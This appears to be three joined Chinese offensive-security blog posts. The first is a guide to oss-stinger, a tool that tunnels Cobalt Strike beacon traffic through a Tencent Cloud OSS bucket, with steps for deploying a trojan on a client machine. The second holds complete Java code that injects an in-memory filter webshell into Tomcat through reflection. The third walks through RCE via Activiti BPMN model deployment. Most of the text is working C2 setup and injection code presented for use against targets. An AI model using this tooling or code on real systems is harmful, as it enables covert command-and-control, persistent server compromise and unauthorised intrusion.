前言
项目地址:9bie/oss-stinger
前有云函数,域前置,辣么现在当然也要整个oss上线辣。然而实际整出来,优势也没想象中的辣么大,可能唯一优点就是部署方便?
原理很简单,直接就是一个http中继,本地起一个http,然后把cs的上线地址设置为本地,然后另外一头,再服务器部署一个获取器,把oss上客户端发来的http请求下载回来,转发给cs服务器,然后拿到cs服务器的请求,再转发到oss上给客户端,然后客户端再转发给cs beacon,就完事了。
如何使用
.\oss-stinger.exe
-address string
监听地址或者目标地址,格式:127.0.0.1:8080
-id string
输入你的腾讯云SecretID
-key string
输入你的腾讯云SecretKey
-mode string
client/server 二选一
-url string
输入你腾讯云OSS桶的url地址
首先,现在cs生成一个http的listen,并把host都改成127.0.0.1,然后生成木马

然后再把Host改会公网IP(这步很重要)
然后去腾讯云,申请一个oss桶。拿到URL

然后再去 https://console.cloud.tencent.com/cam/capi 拿到SecretKey和SecretID。
然后就可以使用我们的工具了,先在客户机上起一个转发器,使用命令
oss-stinger.exe -mode client -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey
然后服务器运行
oss-stinger.exe -mode server -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey
然后在客户机双击你的木马,就能上线了

前言
和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。
首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。
然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去
怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。
当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg
注意点
线程加载问题
加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();
得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。
同样还是线程加载问题
如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射
Class<?> FilterDefClass =
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();
的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了
完整代码
运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了
先把Filter代码打包成class
package com;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;
public class testFilter implements Filter{
public testFilter() {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
if (servletRequest.getParameter("cmd") != null){
servletResponse.getWriter().write("Inject OK!");
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
然后编译注入器代码
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;
public class TomcatMemShellInject {
String uri;
String serverName;
Object standardContext;
public static byte[] base64Decode(String str) throws Exception {
Class clazz;
try {
clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var3) {
clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private final static String filterName = "TomcatMemShellInject";
public byte[] getContent(String filePath) throws IOException {
File file = new File(filePath);
long fileSize = file.length();
if (fileSize > Integer.MAX_VALUE) {
System.out.println("file too big...");
return null;
}
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
// 确保所有数据均被读取
if (offset != buffer.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
fi.close();
return buffer;
}
public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
Tomcat678();
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
byte[] code = base64Decode(result);
;
Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
Object testFilter = filter.newInstance();
Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();
FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
addFilterDef.invoke(standardContext, filterDef);
filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
addFilterMap.invoke(standardContext, filterMap);
Object tmpFilterDef = FilterDefClass.newInstance();
FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
applicationFilterConfigConstructor.setAccessible(true);
Properties properties = new Properties();
properties.put("org.apache.catalina.ssi.SSIFilter", "123");
Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
restrictedFiltersField.setAccessible(true);
restrictedFiltersField.set(null, properties);
Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
Field filterField = filterConfig.getClass().getDeclaredField("filter");
filterField.setAccessible(true);
filterField.set(filterConfig, testFilter);
Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
filterDefField.setAccessible(true);
filterDefField.set(filterConfig, filterDef);
Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
filterConfigs.put(filterName, filterConfig);
filterConfigsField.set(standardContext, filterConfigs);
System.out.println("Inject OK");
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception e) {
// field不存在,错误不抛出,测试时可以抛出
}
clazz = clazz.getSuperclass();
}
return null;
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
// 过滤掉不相关的线程
if (!thread.getName().contains("StandardEngine")) {
continue;
}
Object target = this.getField(thread, "target");
if (target == null) {
continue;
}
HashMap children;
try {
children = (HashMap) getField(getField(target, "this$0"), "children");
//org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
children = (HashMap) getField(children.get(this.serverName), "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))) {
continue;
}
// /spring_mvc/home/index startsWith /spring_mvc
//StandardContext standardContext = children.get(contextKey);
System.out.println(children.get(contextKey).getClass().getName());
this.standardContext = children.get(contextKey);
System.out.println("here");
// 添加内存马
return;
}
} catch (Exception e) {
continue;
}
if (children == null) {
continue;
}
}
}
public void Tomcat678() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
// 不是对应的请求时,serverPort = -1
System.out.println(getField(req, "serverNameMB").getClass().getName());
//org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
if (this.serverName == null) {
this.serverName = getField(req, "serverNameMB").toString();
}
// if (this.serverName == null){
// this.serverName = serverNameMB.getString();
// }
//org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
if (this.uri == null) {
this.uri = getField(req, "decodedUriMB").toString();
}
// if (this.uri == null){
// this.uri = uriMB.getString();
// }
this.getStandardContext();
return;
}
}
}
}
前言
正好实战遇到几次了,发出来记录一下
直接先上参考文献:Activiti BPMN流程引擎使用不当导致的相关RCE问题
代码也直接参考这个就行。
一般我们只需要留意后台中是否有关键字,比如流程图。workflow之类的,或者查看返回包中的json
比如:

再比如:

我们只要确定我们能修改模型和部署模型的权限就成。
或者留意前端请求,长得像这样

落实到前端就是长得像这样:

只要这套站是java,并且我们有权限修改模型。
一般模型形式都是长得像这样
{
"resourceId": "eb39ae1e2dd14910a165323fdcfd807e",
"properties": {
"process_id": "test",
"name": "rwar",
"documentation": "",
"process_author": "",
"process_version": "2",
"process_namespace": "archive_od",
"executionlisteners": [],
.....
}
或者是 在前端直接传输bpmn

这种的我们都能直接打。xml的话可以直接传xml,json的话可以用以下代码,转换为json
byte[] b = "bpmn xml bytes";
InputStream bpmnStream = new ByteArrayInputStream(b);// 获取bpmn2.0规范的xml
XMLInputFactory xif = XMLInputFactory.newInstance();
InputStreamReader in = new InputStreamReader(bpmnStream, "UTF-8");
XMLStreamReader xtr = xif.createXMLStreamReader(in);
// 然后转为bpmnModel
BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr);
// bpmnModel转json
BpmnJsonConverter converter = new BpmnJsonConverter();
com.fasterxml.jackson.databind.node.ObjectNode editorJsonNode = converter.convertToJson(bpmnModel);
System.out.println(editorJsonNode);
然后就可以调用class或者是EL代码直接执行了
后端审计
如果我们拿到的是一套代码如何快速发现利用点呢?
我们只需要三个条件
三个却一不可,少一个都跑不起来,落实到代码就是,this.repositoryService.saveModel的参数是否可控,能否获取到processDefinitionId的值,或者不用这个值,取决于代码运行时候要求的内容,还有就是最后的this.runtimeService能否运行我们的模型
对于Activiti BPMN流程引擎使用不当导致的相关RCE问题中给了个例子。
runtimeService.startProcessInstanceByKey("hireProcessWithJpa", vars);
其中的hireProcessWithJpakey就是对应的bpmn的key,但是实际情况可能并不会使用startProcessInstanceByKey。
一个比较经典的情况就是
ProcessInstanceBuilder processInstanceBuilder = this.runtimeService.createProcessInstanceBuilder();
if (processDefinitionId != null) {
processInstanceBuilder.processDefinitionId(processDefinitionId);
}
if (startVariables != null) {
processInstanceBuilder.variables(startVariables);
}
ProcessInstance instance = processInstanceBuilder.start();
这段代码就是根据processDefinitionId来启动流程,所以对于不通的代码我们要落实不同的方法,但是一般只要盯着this.runtimeService看就行
然后下次遇到这些,就能愉快的日下来辣